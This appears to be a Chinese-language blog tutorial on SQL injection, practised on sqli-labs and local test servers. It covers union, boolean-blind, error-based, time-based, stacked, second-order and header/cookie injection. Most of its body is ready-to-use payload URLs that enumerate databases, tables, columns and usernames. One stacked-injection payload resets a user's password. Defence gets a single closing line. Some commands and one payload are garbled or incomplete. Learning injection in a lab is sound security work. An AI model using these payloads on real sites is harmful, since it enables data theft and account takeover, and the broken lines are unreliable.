简单的来说就是开发在写网站的有些功能需要从数据库查询和写入、删除等对数据库的操作,例如网站显示文章、或者网站后台查询用户信息、上传文件、删除用户、评论区等。只要是数据库有交互的地方都有可能产生SQL注入。
例如下面的是向数据库查询信息的php代码
$sql = "select * from user where id = $_GET['id']";
这里我们只需要get传参id就可以查询数据库信息,而且这个语句是没有做任何过滤我们只需要用 ' 符号过滤掉。
我们需要先了解数据库的结构,数据库结构是由数据库-表-字段-值组成。
我们一般查询先从数据库名-查表明-查字段名-查值
查看数据命令:show databasesl;
如果我们要查看数据库里面的表明我们需要先使用要查询的数据库
user blog;
show tables;
查询表里面的字段值命令:select * from admin;
limit查询
select * from admin limit 0,1;
有一个常用的数据库
informtion_schema数据库,里面有三个经常用到的表名:schemata(所有数据库名)、tables(所有数据库,表)、columns(所有数据库,表,字段)
常用的函数
database();查看数据库
user();Mysql用户
version();mysql版本号
注入类型有非常多,但是实际上遇到不多,就演示常见的几个类型首先我们要了解一下GET和POST两种注入方式,GET是在url上面提交参数,而POST是在表单提交数据。可以用sqli-labs靶场这几种环境都有
就是利用union函数联合查询。
使用) --+符号进行闭合
order by字段数为6,7的话报错就为6
然后使用union查询
数据库查询
http://172.16.234.196/new.php?id=1) union select 1,2,3,database(),5,6 --+
查询数据库
查询表
查询字段
1) union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo05' and table_name='admin'-- +
查询值
查看返回对和错,True false,利用length猜长度,因为这个很麻烦还要对照ASCII表,基本都使用工具或者脚本,所以我在这里就简单的演示一下
猜测数据库长度大于5
小于10
长度为8
猜测库名,第一个字母为115对应ASCII码为s
最后数据库为security
参考
猜表的个数
localhost/sqli-labs-master/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
猜第一个表的长度
localhost/sqli-labs-master/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
猜第二个表的长度
localhost/sqli-labs-master/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))<6 --+
猜第一个表名的第一个字符的ascii码
localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))<100 --+
猜第一个表名的第二个字符的ascii码
localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables limit 0,1),2,1))<100 --+
通过以上尝试,可以猜出存在users表
猜users表中列的个数
localhost/sqli-labs-master/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name="users")>5 --+
猜users表中第一列的长度
localhost/sqli-labs-master/Less-8/?id=1' and length((select column_name from information_schema.columns where table_name="users" limit 0,1)) >5 --+
猜第一列的第一个值的ascii
localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) >100 --+
由此可以猜出存在字段username
猜username的数据个数
localhost/sqli-labs-master/Less-8/?id=1' and (select count(username) from users ) >20 --+
猜第一个数据的长度
localhost/sqli-labs-master/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+
猜第一个数据的第一位的ascii
localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>100 --+
由此可以猜出全部数据
MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。使用函数updatexml()
参考
?id=1' and updatexml(1, 0x7e, 3) -- a
这个也是看对和错只不过是通过返回时间来判断,通过sleep函数
判断延时注入?id=1' and sleep(100) --+
猜库长
3、爆库名
从左边第一个字母开始,判断库名第一个字母是不是s
?id=1' and if(left(database(),1)='s',sleep(5),null)--+
?id=1' and if(left(database(),2)='se',sleep(5),null)--+
4、爆表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)--+
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)--+
5、爆列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit ,1),)='password' ,sleep(5),null)--+
这种基本都是用脚本或工具跑的
就是在查询语句后面再写一个查询语句。
更改密码http://127.0.0.1/Less-38/?id=1%27;update%20users%20set%20password=%27123456%27%20where%20id=1;%20--+
堆叠注入和union注入差不多只不过堆叠注入可以执行的命令更多。
比如我们在注册用户或者提交某种信息的时候写入查询语句,他会储存到数据库,当我们访问某一个能触发刚刚存储到数据库是sql语句时就能返回查询信息
这是一个登录框,点击注册跳转注册页面
账号输入sql万能账号语句
它会存储到数据库中
使用刚刚注册的账号密码登录成功
更改密码,成功替换掉admin用户密码
简单来说就是有些网站会把cookie值记录到数据库,或者记录用户的IP、用户的浏览器访问信息等,这样就会带来sql注入的危险。
在content-Type钩爪sql语句' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
利用别人写好的过滤规则,上waf。